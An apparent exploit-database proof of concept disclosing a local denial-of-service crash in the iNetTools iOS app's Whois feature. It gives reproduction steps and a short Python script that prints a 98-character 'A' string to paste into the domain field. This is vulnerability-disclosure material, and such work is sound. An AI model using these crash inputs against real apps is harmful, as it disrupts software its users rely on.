iNetTools for iOS 8.20 - 'Whois' Denial of Service (PoC)

# Exploit Title: iNetTools for iOS 8.20 - 'Whois' Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2019-11-25
# Vendor Homepage: https://apps.apple.com/mx/app/inettools-ping-dns-port-scan/id561659975
# Software Link: App Store for iOS devices
# Tested Version: 8.20
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 6s iOS 13.2

# Summary: iNetTools is a suite of network diagnose tools on iPhone and iPad. It provides essential tools such as 
# Ping, DNS Lookup, Trace Route, Port Scan, Whois, Server Monitor, and Lan Scan.
# Steps to Produce the Crash:

# 1.- Run python code: iNetTools.py
# 2.- Copy content to clipboard
# 3.- Open "iNetTools for iOS"
# 4.- Go to "Whois"
# 5.- Paste ClipBoard on "Domain Name"
# 6.- Start
# 7.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 98
print (buffer)